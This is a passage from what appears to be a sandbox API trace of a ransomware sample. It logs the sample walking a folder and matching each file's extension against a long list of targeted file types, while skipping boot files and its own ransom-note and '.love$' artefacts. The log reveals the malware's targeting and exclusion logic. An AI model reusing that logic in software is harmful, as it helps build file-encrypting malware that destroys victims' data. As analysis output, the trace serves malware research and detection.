returned 4 [0094.620] lstrcmpiW (lpString1=".jpf", lpString2=".rtf") returned -1 [0094.620] lstrlenW (lpString=".jpg") returned 4 [0094.620] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0094.620] lstrlenW (lpString=".jpx") returned 4 [0094.620] lstrcmpiW (lpString1=".jpx", lpString2=".rtf") returned -1 [0094.620] lstrlenW (lpString=".js") returned 3 [0094.620] lstrcmpiW (lpString1=".js", lpString2="rtf") returned -1 [0094.620] lstrlenW (lpString=".jsf") returned 4 [0094.620] lstrcmpiW (lpString1=".jsf", lpString2=".rtf") returned -1 [0094.620] lstrlenW (lpString=".json") returned 5 [0094.620] lstrcmpiW (lpString1=".json", lpString2="a.rtf") returned -1 [0094.620] lstrlenW (lpString=".jsp") returned 4 [0094.621] lstrcmpiW (lpString1=".jsp", lpString2=".rtf") returned -1 [0094.621] lstrlenW (lpString=".kdc") returned 4 [0094.621] lstrcmpiW (lpString1=".kdc", lpString2=".rtf") returned -1 [0094.621] lstrlenW (lpString=".kmz") returned 4 [0094.621] lstrcmpiW (lpString1=".kmz", lpString2=".rtf") returned -1 [0094.621] lstrlenW (lpString=".kwm") returned 4 [0094.621] lstrcmpiW (lpString1=".kwm", lpString2=".rtf") returned -1 [0094.621] lstrlenW (lpString=".lasso") returned 6 [0094.621] lstrcmpiW (lpString1=".lasso", lpString2="la.rtf") returned -1 [0094.621] lstrlenW (lpString=".lbi") returned 4 [0094.621] lstrcmpiW (lpString1=".lbi", lpString2=".rtf") returned -1 [0094.621] lstrlenW (lpString=".lgf") returned 4 [0094.621] lstrcmpiW (lpString1=".lgf", lpString2=".rtf") returned -1 [0094.621] lstrlenW (lpString=".lgp") returned 4 [0094.621] lstrcmpiW (lpString1=".lgp", lpString2=".rtf") returned -1 [0094.621] lstrlenW (lpString=".log") returned 4 [0094.621] lstrcmpiW (lpString1=".log", lpString2=".rtf") returned -1 [0094.621] lstrlenW (lpString=".m1v") returned 4 [0094.621] lstrcmpiW (lpString1=".m1v", lpString2=".rtf") returned -1 [0094.621] lstrlenW (lpString=".m4a") returned 4 [0094.621] lstrcmpiW (lpString1=".m4a", lpString2=".rtf") returned -1 [0096.183] lstrlenW (lpString=".m4v") returned 4 [0096.183] lstrcmpiW (lpString1=".m4v", lpString2=".rtf") returned -1 [0096.183] lstrlenW (lpString=".max") returned 4 [0096.183] lstrcmpiW (lpString1=".max", lpString2=".rtf") returned -1 [0096.183] lstrlenW (lpString=".md") returned 3 [0096.183] lstrcmpiW (lpString1=".md", lpString2="rtf") returned -1 [0096.183] lstrlenW (lpString=".mda") returned 4 [0096.184] lstrcmpiW (lpString1=".mda", lpString2=".rtf") returned -1 [0096.184] lstrlenW (lpString=".mdb") returned 4 [0096.184] lstrcmpiW (lpString1=".mdb", lpString2=".rtf") returned -1 [0096.184] lstrlenW (lpString=".mde") returned 4 [0096.184] lstrcmpiW (lpString1=".mde", lpString2=".rtf") returned -1 [0096.184] lstrlenW (lpString=".mdf") returned 4 [0096.184] lstrcmpiW (lpString1=".mdf", lpString2=".rtf") returned -1 [0096.184] lstrlenW (lpString=".mdw") returned 4 [0096.184] lstrcmpiW (lpString1=".mdw", lpString2=".rtf") returned -1 [0096.184] lstrlenW (lpString=".mef") returned 4 [0096.184] lstrcmpiW (lpString1=".mef", lpString2=".rtf") returned -1 [0096.184] lstrlenW (lpString=".mft") returned 4 [0096.184] lstrcmpiW (lpString1=".mft", lpString2=".rtf") returned -1 [0096.184] lstrlenW (lpString=".mfw") returned 4 [0096.184] lstrcmpiW (lpString1=".mfw", lpString2=".rtf") returned -1 [0096.184] lstrlenW (lpString=".mht") returned 4 [0096.184] lstrcmpiW (lpString1=".mht", lpString2=".rtf") returned -1 [0096.184] lstrlenW (lpString=".mhtml") returned 6 [0096.184] lstrcmpiW (lpString1=".mhtml", lpString2="la.rtf") returned -1 [0096.184] lstrlenW (lpString=".mka") returned 4 [0096.184] lstrcmpiW (lpString1=".mka", lpString2=".rtf") returned -1 [0096.184] lstrlenW (lpString=".mkidx") returned 6 [0096.184] lstrcmpiW (lpString1=".mkidx", lpString2="la.rtf") returned -1 [0096.184] lstrlenW (lpString=".mkv") returned 4 [0096.184] lstrcmpiW (lpString1=".mkv", lpString2=".rtf") returned -1 [0096.184] lstrlenW (lpString=".mos") returned 4 [0096.184] lstrcmpiW (lpString1=".mos", lpString2=".rtf") returned -1 [0096.184] lstrlenW (lpString=".mov") returned 4 [0096.184] lstrcmpiW (lpString1=".mov", lpString2=".rtf") returned -1 [0096.185] lstrlenW (lpString=".mp3") returned 4 [0096.185] lstrcmpiW (lpString1=".mp3", lpString2=".rtf") returned -1 [0096.185] lstrlenW (lpString=".mp4") returned 4 [0096.185] lstrcmpiW (lpString1=".mp4", lpString2=".rtf") returned -1 [0096.185] lstrlenW (lpString=".mpeg") returned 5 [0096.185] lstrcmpiW (lpString1=".mpeg", lpString2="a.rtf") returned -1 [0096.185] lstrlenW (lpString=".mpg") returned 4 [0096.185] lstrcmpiW (lpString1=".mpg", lpString2=".rtf") returned -1 [0096.185] lstrlenW (lpString=".mpv") returned 4 [0096.185] lstrcmpiW (lpString1=".mpv", lpString2=".rtf") returned -1 [0096.185] lstrlenW (lpString=".mrw") returned 4 [0096.185] lstrcmpiW (lpString1=".mrw", lpString2=".rtf") returned -1 [0096.185] lstrlenW (lpString=".msg") returned 4 [0096.185] lstrcmpiW (lpString1=".msg", lpString2=".rtf") returned -1 [0096.185] lstrlenW (lpString=".mxl") returned 4 [0096.185] lstrcmpiW (lpString1=".mxl", lpString2=".rtf") returned -1 [0096.185] lstrlenW (lpString=".myd") returned 4 [0096.185] lstrcmpiW (lpString1=".myd", lpString2=".rtf") returned -1 [0096.185] lstrlenW (lpString=".myi") returned 4 [0096.185] lstrcmpiW (lpString1=".myi", lpString2=".rtf") returned -1 [0096.186] lstrlenW (lpString=".nef") returned 4 [0096.186] lstrcmpiW (lpString1=".nef", lpString2=".rtf") returned -1 [0096.186] lstrlenW (lpString=".nrw") returned 4 [0096.186] lstrcmpiW (lpString1=".nrw", lpString2=".rtf") returned -1 [0096.186] lstrlenW (lpString=".obj") returned 4 [0096.186] lstrcmpiW (lpString1=".obj", lpString2=".rtf") returned -1 [0096.186] lstrlenW (lpString=".odb") returned 4 [0096.186] lstrcmpiW (lpString1=".odb", lpString2=".rtf") returned -1 [0096.186] lstrlenW (lpString=".odc") returned 4 [0096.186] lstrcmpiW (lpString1=".odc", lpString2=".rtf") returned -1 [0096.186] lstrlenW (lpString=".odm") returned 4 [0096.186] lstrcmpiW (lpString1=".odm", lpString2=".rtf") returned -1 [0096.186] lstrlenW (lpString=".odp") returned 4 [0096.186] lstrcmpiW (lpString1=".odp", lpString2=".rtf") returned -1 [0096.186] lstrlenW (lpString=".ods") returned 4 [0096.186] lstrcmpiW (lpString1=".ods", lpString2=".rtf") returned -1 [0096.186] lstrlenW (lpString=".oft") returned 4 [0096.186] lstrcmpiW (lpString1=".oft", lpString2=".rtf") returned -1 [0096.186] lstrlenW (lpString=".one") returned 4 [0096.186] lstrcmpiW (lpString1=".one", lpString2=".rtf") returned -1 [0096.186] lstrlenW (lpString=".onepkg") returned 7 [0096.186] lstrcmpiW (lpString1=".onepkg", lpString2="ula.rtf") returned -1 [0096.186] lstrlenW (lpString=".onetoc2") returned 8 [0096.186] lstrcmpiW (lpString1=".onetoc2", lpString2="eula.rtf") returned -1 [0096.187] lstrlenW (lpString=".opt") returned 4 [0096.187] lstrcmpiW (lpString1=".opt", lpString2=".rtf") returned -1 [0096.187] lstrlenW (lpString=".oqy") returned 4 [0096.187] lstrcmpiW (lpString1=".oqy", lpString2=".rtf") returned -1 [0096.187] lstrlenW (lpString=".orf") returned 4 [0096.187] lstrcmpiW (lpString1=".orf", lpString2=".rtf") returned -1 [0096.187] lstrlenW (lpString=".p12") returned 4 [0096.187] lstrcmpiW (lpString1=".p12", lpString2=".rtf") returned -1 [0096.187] lstrlenW (lpString=".p7b") returned 4 [0096.187] lstrcmpiW (lpString1=".p7b", lpString2=".rtf") returned -1 [0096.187] lstrlenW (lpString=".p7c") returned 4 [0096.187] lstrcmpiW (lpString1=".p7c", lpString2=".rtf") returned -1 [0096.187] lstrlenW (lpString=".pam") returned 4 [0096.187] lstrcmpiW (lpString1=".pam", lpString2=".rtf") returned -1 [0096.187] lstrlenW (lpString=".pbm") returned 4 [0096.187] lstrcmpiW (lpString1=".pbm", lpString2=".rtf") returned -1 [0096.187] lstrlenW (lpString=".pct") returned 4 [0096.187] lstrcmpiW (lpString1=".pct", lpString2=".rtf") returned -1 [0096.187] lstrlenW (lpString=".pcx") returned 4 [0096.187] lstrcmpiW (lpString1=".pcx", lpString2=".rtf") returned -1 [0096.187] lstrlenW (lpString=".pdd") returned 4 [0096.187] lstrcmpiW (lpString1=".pdd", lpString2=".rtf") returned -1 [0096.187] lstrlenW (lpString=".pdf") returned 4 [0096.187] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0096.187] lstrlenW (lpString=".pdp") returned 4 [0096.187] lstrcmpiW (lpString1=".pdp", lpString2=".rtf") returned -1 [0096.188] lstrlenW (lpString=".pef") returned 4 [0096.188] lstrcmpiW (lpString1=".pef", lpString2=".rtf") returned -1 [0096.188] lstrlenW (lpString=".pem") returned 4 [0096.188] lstrcmpiW (lpString1=".pem", lpString2=".rtf") returned -1 [0096.188] lstrlenW (lpString=".pff") returned 4 [0096.188] lstrcmpiW (lpString1=".pff", lpString2=".rtf") returned -1 [0096.188] lstrlenW (lpString=".pfm") returned 4 [0096.188] lstrcmpiW (lpString1=".pfm", lpString2=".rtf") returned -1 [0096.188] lstrlenW (lpString=".pfx") returned 4 [0096.188] lstrcmpiW (lpString1=".pfx", lpString2=".rtf") returned -1 [0096.188] lstrlenW (lpString=".pgm") returned 4 [0096.188] lstrcmpiW (lpString1=".pgm", lpString2=".rtf") returned -1 [0096.188] lstrlenW (lpString=".php") returned 4 [0096.188] lstrcmpiW (lpString1=".php", lpString2=".rtf") returned -1 [0096.188] lstrlenW (lpString=".php3") returned 5 [0096.188] lstrcmpiW (lpString1=".php3", lpString2="a.rtf") returned -1 [0096.188] lstrlenW (lpString=".php4") returned 5 [0096.188] lstrcmpiW (lpString1=".php4", lpString2="a.rtf") returned -1 [0096.188] lstrlenW (lpString=".php5") returned 5 [0096.188] lstrcmpiW (lpString1=".php5", lpString2="a.rtf") returned -1 [0096.188] lstrlenW (lpString=".phtml") returned 6 [0096.188] lstrcmpiW (lpString1=".phtml", lpString2="la.rtf") returned -1 [0096.188] lstrlenW (lpString=".pict") returned 5 [0096.188] lstrcmpiW (lpString1=".pict", lpString2="a.rtf") returned -1 [0096.188] lstrlenW (lpString=".pl") returned 3 [0096.188] lstrcmpiW (lpString1=".pl", lpString2="rtf") returned -1 [0096.188] lstrlenW (lpString=".pls") returned 4 [0096.188] lstrcmpiW (lpString1=".pls", lpString2=".rtf") returned -1 [0096.189] lstrlenW (lpString=".pm") returned 3 [0096.189] lstrcmpiW (lpString1=".pm", lpString2="rtf") returned -1 [0096.189] lstrlenW (lpString=".png") returned 4 [0096.189] lstrcmpiW (lpString1=".png", lpString2=".rtf") returned -1 [0096.189] lstrlenW (lpString=".pnm") returned 4 [0096.189] lstrcmpiW (lpString1=".pnm", lpString2=".rtf") returned -1 [0096.189] lstrlenW (lpString=".pot") returned 4 [0096.189] lstrcmpiW (lpString1=".pot", lpString2=".rtf") returned -1 [0096.189] lstrlenW (lpString=".potm") returned 5 [0096.189] lstrcmpiW (lpString1=".potm", lpString2="a.rtf") returned -1 [0096.189] lstrlenW (lpString=".potx") returned 5 [0096.189] lstrcmpiW (lpString1=".potx", lpString2="a.rtf") returned -1 [0096.189] lstrlenW (lpString=".ppa") returned 4 [0096.189] lstrcmpiW (lpString1=".ppa", lpString2=".rtf") returned -1 [0096.189] lstrlenW (lpString=".ppam") returned 5 [0096.189] lstrcmpiW (lpString1=".ppam", lpString2="a.rtf") returned -1 [0096.189] lstrlenW (lpString=".ppm") returned 4 [0096.189] lstrcmpiW (lpString1=".ppm", lpString2=".rtf") returned -1 [0096.189] lstrlenW (lpString=".pps") returned 4 [0096.189] lstrcmpiW (lpString1=".pps", lpString2=".rtf") returned -1 [0096.189] lstrlenW (lpString=".ppsm") returned 5 [0096.189] lstrcmpiW (lpString1=".ppsm", lpString2="a.rtf") returned -1 [0096.189] lstrlenW (lpString=".ppt") returned 4 [0096.189] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0096.189] lstrlenW (lpString=".pptm") returned 5 [0096.189] lstrcmpiW (lpString1=".pptm", lpString2="a.rtf") returned -1 [0096.189] lstrlenW (lpString=".pptx") returned 5 [0096.189] lstrcmpiW (lpString1=".pptx", lpString2="a.rtf") returned -1 [0096.190] lstrlenW (lpString=".prn") returned 4 [0096.190] lstrcmpiW (lpString1=".prn", lpString2=".rtf") returned -1 [0096.190] lstrlenW (lpString=".ps") returned 3 [0096.190] lstrcmpiW (lpString1=".ps", lpString2="rtf") returned -1 [0096.190] lstrlenW (lpString=".psb") returned 4 [0096.190] lstrcmpiW (lpString1=".psb", lpString2=".rtf") returned -1 [0096.190] lstrlenW (lpString=".psd") returned 4 [0096.190] lstrcmpiW (lpString1=".psd", lpString2=".rtf") returned -1 [0096.190] lstrlenW (lpString=".pst") returned 4 [0096.190] lstrcmpiW (lpString1=".pst", lpString2=".rtf") returned -1 [0096.190] lstrlenW (lpString=".ptx") returned 4 [0096.190] lstrcmpiW (lpString1=".ptx", lpString2=".rtf") returned -1 [0096.190] lstrlenW (lpString=".pub") returned 4 [0096.190] lstrcmpiW (lpString1=".pub", lpString2=".rtf") returned -1 [0096.190] lstrlenW (lpString=".pwm") returned 4 [0096.190] lstrcmpiW (lpString1=".pwm", lpString2=".rtf") returned -1 [0096.190] lstrlenW (lpString=".pxr") returned 4 [0096.190] lstrcmpiW (lpString1=".pxr", lpString2=".rtf") returned -1 [0096.190] lstrlenW (lpString=".py") returned 3 [0096.190] lstrcmpiW (lpString1=".py", lpString2="rtf") returned -1 [0096.190] lstrlenW (lpString=".qt") returned 3 [0096.190] lstrcmpiW (lpString1=".qt", lpString2="rtf") returned -1 [0096.190] lstrlenW (lpString=".r3d") returned 4 [0096.190] lstrcmpiW (lpString1=".r3d", lpString2=".rtf") returned -1 [0096.190] lstrlenW (lpString=".raf") returned 4 [0096.190] lstrcmpiW (lpString1=".raf", lpString2=".rtf") returned -1 [0096.190] lstrlenW (lpString=".rar") returned 4 [0096.191] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0096.191] lstrlenW (lpString=".raw") returned 4 [0096.191] lstrcmpiW (lpString1=".raw", lpString2=".rtf") returned -1 [0096.191] lstrlenW (lpString=".rdf") returned 4 [0096.191] lstrcmpiW (lpString1=".rdf", lpString2=".rtf") returned -1 [0096.191] lstrlenW (lpString=".rgbe") returned 5 [0096.191] lstrcmpiW (lpString1=".rgbe", lpString2="a.rtf") returned -1 [0096.191] lstrlenW (lpString=".rle") returned 4 [0096.191] lstrcmpiW (lpString1=".rle", lpString2=".rtf") returned -1 [0096.191] lstrlenW (lpString=".rqy") returned 4 [0096.191] lstrcmpiW (lpString1=".rqy", lpString2=".rtf") returned -1 [0096.191] lstrlenW (lpString=".rss") returned 4 [0096.191] lstrcmpiW (lpString1=".rss", lpString2=".rtf") returned -1 [0096.191] lstrlenW (lpString=".rtf") returned 4 [0096.191] lstrcmpiW (lpString1=".rtf", lpString2=".rtf") returned 0 [0096.191] lstrlenW (lpString="eula.rtf") returned 8 [0096.191] lstrlenW (lpString=".love$") returned 6 [0096.191] lstrcmpiW (lpString1=".love$", lpString2="la.rtf") returned -1 [0096.191] lstrlenW (lpString="eula.rtf") returned 8 [0096.191] lstrcmpiW (lpString1="boot.ini", lpString2="eula.rtf") returned -1 [0096.191] lstrcmpiW (lpString1="bootfont.bin", lpString2="eula.rtf") returned -1 [0096.191] lstrcmpiW (lpString1="ntldr", lpString2="eula.rtf") returned 1 [0096.191] lstrcmpiW (lpString1="ntdetect.com", lpString2="eula.rtf") returned 1 [0096.191] lstrcmpiW (lpString1="io.sys", lpString2="eula.rtf") returned 1 [0096.191] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="eula.rtf") returned 1 [0096.191] lstrcmpiW (lpString1="Info.hta", lpString2="eula.rtf") returned 1 [0096.191] lstrcmpiW (lpString1="finbbp.exe", lpString2="eula.rtf") returned 1 [0096.192] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35 [0096.192] FindNextFileW (in: hFindFile=0x3e50700, lpFindFileData=0x349f800 | out: lpFindFileData=0x349f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x121e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0096.192] lstrlenW (lpString="LocalizedData.xml") returned 17 [0096.192] lstrlenW (lpString=".1cd") returned 4 [0096.192] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0096.192] lstrlenW (lpString=".3ds") returned 4 [0096.192] lstrcmpiW (lpString1=".3ds", lpString2=".xml") returned -1 [0096.192] lstrlenW (lpString=".3fr") returned 4 [0096.192] lstrcmpiW (lpString1=".3fr", lpString2=".xml") returned -1 [0096.192] lstrlenW (lpString=".3g2") returned 4 [0096.192] lstrcmpiW (lpString1=".3g2", lpString2=".xml") returned -1 [0096.192] lstrlenW (lpString=".3gp") returned 4 [0096.192] lstrcmpiW (lpString1=".3gp", lpString2=".xml") returned -1 [0096.192] lstrlenW (lpString=".7z") returned 3 [0096.192] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0096.192] lstrlenW (lpString=".accda") returned 6 [0096.192] lstrcmpiW (lpString1=".accda", lpString2="ta.xml") returned -1 [0096.192] lstrlenW (lpString=".accdb") returned 6 [0096.192] lstrcmpiW (lpString1=".accdb", lpString2="ta.xml") returned -1 [0096.192] lstrlenW (lpString=".accdc") returned 6 [0096.192] lstrcmpiW (lpString1=".accdc", lpString2="ta.xml") returned -1 [0096.192] lstrlenW (lpString=".accde") returned 6 [0096.192] lstrcmpiW (lpString1=".accde", lpString2="ta.xml") returned -1 [0096.192] lstrlenW (lpString=".accdt") returned 6 [0096.193] lstrcmpiW (lpString1=".accdt", lpString2="ta.xml") returned -1 [0096.193] lstrlenW (lpString=".accdw") returned 6 [0096.193] lstrcmpiW (lpString1=".accdw", lpString2="ta.xml") returned -1 [0096.193] lstrlenW (lpString=".adb") returned 4 [0096.193] lstrcmpiW (lpString1=".adb", lpString2=".xml") returned -1 [0096.193] lstrlenW (lpString=".adp") returned 4 [0096.193] lstrcmpiW (lpString1=".adp", lpString2=".xml") returned -1 [0096.193] lstrlenW (lpString=".ai") returned 3 [0096.193] lstrcmpiW (lpString1=".ai", lpString2="xml") returned -1 [0096.193] lstrlenW (lpString=".ai3") returned 4 [0096.193] lstrcmpiW (lpString1=".ai3", lpString2=".xml") returned -1 [0096.193] lstrlenW (lpString=".ai4") returned 4 [0096.193] lstrcmpiW (lpString1=".ai4", lpString2=".xml") returned -1 [0096.193] lstrlenW (lpString=".ai5") returned 4 [0096.193] lstrcmpiW (lpString1=".ai5", lpString2=".xml") returned -1 [0096.193] lstrlenW (lpString=".ai6") returned 4 [0096.193] lstrcmpiW (lpString1=".ai6", lpString2=".xml") returned -1 [0096.193] lstrlenW (lpString=".ai7") returned 4 [0096.193] lstrcmpiW (lpString1=".ai7", lpString2=".xml") returned -1 [0096.193] lstrlenW (lpString=".ai8") returned 4 [0096.193] lstrcmpiW (lpString1=".ai8", lpString2=".xml") returned -1 [0096.193] lstrlenW (lpString=".anim") returned 5 [0096.193] lstrcmpiW (lpString1=".anim", lpString2="a.xml") returned -1 [0096.193] lstrlenW (lpString=".arw") returned 4 [0096.193] lstrcmpiW (lpString1=".arw", lpString2=".xml") returned -1 [0096.193] lstrlenW (lpString=".as") returned 3 [0096.193] lstrcmpiW (lpString1=".as", lpString2="xml") returned -1 [0096.193] lstrlenW (lpString=".asa") returned 4 [0096.194] lstrcmpiW (lpString1=".asa", lpString2=".xml") returned -1 [0096.194] lstrlenW (lpString=".asc") returned 4 [0096.194] lstrcmpiW (lpString1=".asc", lpString2=".xml") returned -1 [0096.194] lstrlenW (lpString=".ascx") returned 5 [0096.194] lstrcmpiW (lpString1=".ascx", lpString2="a.xml") returned -1 [0096.194] lstrlenW (lpString=".asm") returned 4 [0096.194] lstrcmpiW (lpString1=".asm", lpString2=".xml") returned -1 [0096.194] lstrlenW (lpString=".asmx") returned 5 [0096.194] lstrcmpiW (lpString1=".asmx", lpString2="a.xml") returned -1 [0096.194] lstrlenW (lpString=".asp") returned 4 [0096.194] lstrcmpiW (lpString1=".asp", lpString2=".xml") returned -1 [0096.194] lstrlenW (lpString=".aspx") returned 5 [0096.194] lstrcmpiW (lpString1=".aspx", lpString2="a.xml") returned -1 [0096.194] lstrlenW (lpString=".asr") returned 4 [0096.194] lstrcmpiW (lpString1=".asr", lpString2=".xml") returned -1 [0096.194] lstrlenW (lpString=".asx") returned 4 [0096.194] lstrcmpiW (lpString1=".asx", lpString2=".xml") returned -1 [0096.194] lstrlenW (lpString=".avi") returned 4 [0096.194] lstrcmpiW (lpString1=".avi", lpString2=".xml") returned -1 [0096.194] lstrlenW (lpString=".avs") returned 4 [0096.194] lstrcmpiW (lpString1=".avs", lpString2=".xml") returned -1 [0096.194] lstrlenW (lpString=".backup") returned 7 [0096.194] lstrcmpiW (lpString1=".backup", lpString2="ata.xml") returned -1 [0096.194] lstrlenW (lpString=".bak") returned 4 [0096.194] lstrcmpiW (lpString1=".bak", lpString2=".xml") returned -1 [0096.194] lstrlenW (lpString=".bay") returned 4 [0096.194] lstrcmpiW (lpString1=".bay", lpString2=".xml") returned -1 [0096.194] lstrlenW (lpString=".bd") returned 3 [0096.195] lstrcmpiW (lpString1=".bd", lpString2="xml") returned -1 [0096.195] lstrlenW (lpString=".bin") returned 4 [0096.195] lstrcmpiW (lpString1=".bin", lpString2=".xml") returned -1 [0096.195] lstrlenW (lpString=".bmp") returned 4 [0096.195] lstrcmpiW (lpString1=".bmp", lpString2=".xml") returned -1 [0096.195] lstrlenW (lpString=".bz2") returned 4 [0096.195] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0096.195] lstrlenW (lpString=".c") returned 2 [0096.195] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1 [0096.195] lstrlenW (lpString=".cdr") returned 4 [0096.195] lstrcmpiW (lpString1=".cdr", lpString2=".xml") returned -1 [0096.195] lstrlenW (lpString=".cer") returned 4 [0096.195] lstrcmpiW (lpString1=".cer", lpString2=".xml") returned -1 [0096.195] lstrlenW (lpString=".cf") returned 3 [0096.195] lstrcmpiW (lpString1=".cf", lpString2="xml") returned -1 [0096.195] lstrlenW (lpString=".cfc") returned 4 [0096.195] lstrcmpiW (lpString1=".cfc", lpString2=".xml") returned -1 [0096.195] lstrlenW (lpString=".cfm") returned 4 [0096.195] lstrcmpiW (lpString1=".cfm", lpString2=".xml") returned -1 [0096.195] lstrlenW (lpString=".cfml") returned 5 [0096.195] lstrcmpiW (lpString1=".cfml", lpString2="a.xml") returned -1 [0096.195] lstrlenW (lpString=".cfu") returned 4 [0096.195] lstrcmpiW (lpString1=".cfu", lpString2=".xml") returned -1 [0096.195] lstrlenW (lpString=".chm") returned 4 [0096.195] lstrcmpiW (lpString1=".chm", lpString2=".xml") returned -1 [0096.195] lstrlenW (lpString=".cin") returned 4 [0096.195] lstrcmpiW (lpString1=".cin", lpString2=".xml") returned -1 [0096.196] lstrlenW (lpString=".class") returned 6 [0096.196] lstrcmpiW (lpString1=".class", lpString2="ta.xml") returned -1 [0096.196] lstrlenW (lpString=".clx") returned 4 [0096.196] lstrcmpiW (lpString1=".clx", lpString2=".xml") returned -1 [0096.196] lstrlenW (lpString=".config") returned 7 [0096.196] lstrcmpiW (lpString1=".config", lpString2="ata.xml") returned -1 [0096.196] lstrlenW (lpString=".cpp") returned 4 [0096.196] lstrcmpiW (lpString1=".cpp", lpString2=".xml") returned -1 [0096.196] lstrlenW (lpString=".cr2") returned 4 [0096.196] lstrcmpiW (lpString1=".cr2", lpString2=".xml") returned -1 [0096.196] lstrlenW (lpString=".crt") returned 4 [0096.196] lstrcmpiW (lpString1=".crt", lpString2=".xml") returned -1 [0096.196] lstrlenW (lpString=".crw") returned 4 [0096.196] lstrcmpiW (lpString1=".crw", lpString2=".xml") returned -1 [0096.196] lstrlenW (lpString=".cs") returned 3 [0096.196] lstrcmpiW (lpString1=".cs", lpString2="xml") returned -1 [0096.196] lstrlenW (lpString=".css") returned 4 [0096.196] lstrcmpiW (lpString1=".css", lpString2=".xml") returned -1 [0096.196] lstrlenW (lpString=".csv") returned 4 [0096.196] lstrcmpiW (lpString1=".csv", lpString2=".xml") returned -1 [0096.196] lstrlenW (lpString=".cub") returned 4 [0096.196] lstrcmpiW (lpString1=".cub", lpString2=".xml") returned -1 [0096.196] lstrlenW (lpString=".dae") returned 4 [0096.196] lstrcmpiW (lpString1=".dae", lpString2=".xml") returned -1 [0096.196] lstrlenW (lpString=".dat") returned 4 [0096.196] lstrcmpiW (lpString1=".dat", lpString2=".xml") returned -1 [0096.196] lstrlenW (lpString=".db") returned 3 [0096.196] lstrcmpiW (lpString1=".db", lpString2="xml") returned -1 [0096.197] lstrlenW (lpString=".dbf") returned 4 [0096.197] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0096.197] lstrlenW (lpString=".dbx") returned 4 [0096.197] lstrcmpiW (lpString1=".dbx", lpString2=".xml") returned -1 [0096.197] lstrlenW (lpString=".dc3") returned 4 [0096.197] lstrcmpiW (lpString1=".dc3", lpString2=".xml") returned -1 [0096.197] lstrlenW (lpString=".dcm") returned 4 [0096.197] lstrcmpiW (lpString1=".dcm", lpString2=".xml") returned -1 [0096.197] lstrlenW (lpString=".dcr") returned 4 [0096.197] lstrcmpiW (lpString1=".dcr", lpString2=".xml") returned -1 [0096.197] lstrlenW (lpString=".der") returned 4 [0096.197] lstrcmpiW (lpString1=".der", lpString2=".xml") returned -1 [0096.197] lstrlenW (lpString=".dib") returned 4 [0096.197] lstrcmpiW (lpString1=".dib", lpString2=".xml") returned -1 [0096.197] lstrlenW (lpString=".dic") returned 4 [0096.197] lstrcmpiW (lpString1=".dic", lpString2=".xml") returned -1 [0096.197] lstrlenW (lpString=".dif") returned 4 [0096.197] lstrcmpiW (lpString1=".dif", lpString2=".xml") returned -1 [0096.197] lstrlenW (lpString=".divx") returned 5 [0096.197] lstrcmpiW (lpString1=".divx", lpString2="a.xml") returned -1 [0096.197] lstrlenW (lpString=".djvu") returned 5 [0096.197] lstrcmpiW (lpString1=".djvu", lpString2="a.xml") returned -1 [0096.197] lstrlenW (lpString=".dng") returned 4 [0096.197] lstrcmpiW (lpString1=".dng", lpString2=".xml") returned -1 [0096.197] lstrlenW (lpString=".doc") returned 4 [0096.197] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0096.197] lstrlenW (lpString=".docm") returned 5 [0096.197] lstrcmpiW (lpString1=".docm", lpString2="a.xml") returned -1 [0096.198] lstrlenW (lpString=".docx") returned 5 [0096.198] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0096.198] lstrlenW (lpString=".dot") returned 4 [0096.198] lstrcmpiW (lpString1=".dot", lpString2=".xml") returned -1 [0096.198] lstrlenW (lpString=".dotm") returned 5 [0096.198] lstrcmpiW (lpString1=".dotm", lpString2="a.xml") returned -1 [0096.198] lstrlenW (lpString=".dotx") returned 5 [0096.198] lstrcmpiW (lpString1=".dotx", lpString2="a.xml") returned -1 [0096.198] lstrlenW (lpString=".dpx") returned 4 [0096.198] lstrcmpiW (lpString1=".dpx", lpString2=".xml") returned -1 [0096.198] lstrlenW (lpString=".dqy") returned 4 [0096.198] lstrcmpiW (lpString1=".dqy", lpString2=".xml") returned -1 [0096.198] lstrlenW (lpString=".dsn") returned 4 [0096.198] lstrcmpiW (lpString1=".dsn", lpString2=".xml") returned -1 [0096.198] lstrlenW (lpString=".dt") returned 3 [0096.198] lstrcmpiW (lpString1=".dt", lpString2="xml") returned -1 [0096.198] lstrlenW (lpString=".dtd") returned 4 [0096.198] lstrcmpiW (lpString1=".dtd", lpString2=".xml") returned -1 [0096.198] lstrlenW (lpString=".dwg") returned 4 [0096.198] lstrcmpiW (lpString1=".dwg", lpString2=".xml") returned -1 [0096.198] lstrlenW (lpString=".dwt") returned 4 [0096.198] lstrcmpiW (lpString1=".dwt", lpString2=".xml") returned -1 [0096.198] lstrlenW (lpString=".dx") returned 3 [0096.198] lstrcmpiW (lpString1=".dx", lpString2="xml") returned -1 [0096.198] lstrlenW (lpString=".dxf") returned 4 [0096.198] lstrcmpiW (lpString1=".dxf", lpString2=".xml") returned -1 [0096.198] lstrlenW (lpString=".edml") returned 5 [0096.198] lstrcmpiW (lpString1=".edml", lpString2="a.xml") returned -1 [0096.199] lstrlenW (lpString=".efd") returned 4 [0096.199] lstrcmpiW (lpString1=".efd", lpString2=".xml") returned -1 [0096.199] lstrlenW (lpString=".elf") returned 4 [0096.199] lstrcmpiW (lpString1=".elf", lpString2=".xml") returned -1 [0096.199] lstrlenW (lpString=".emf") returned 4 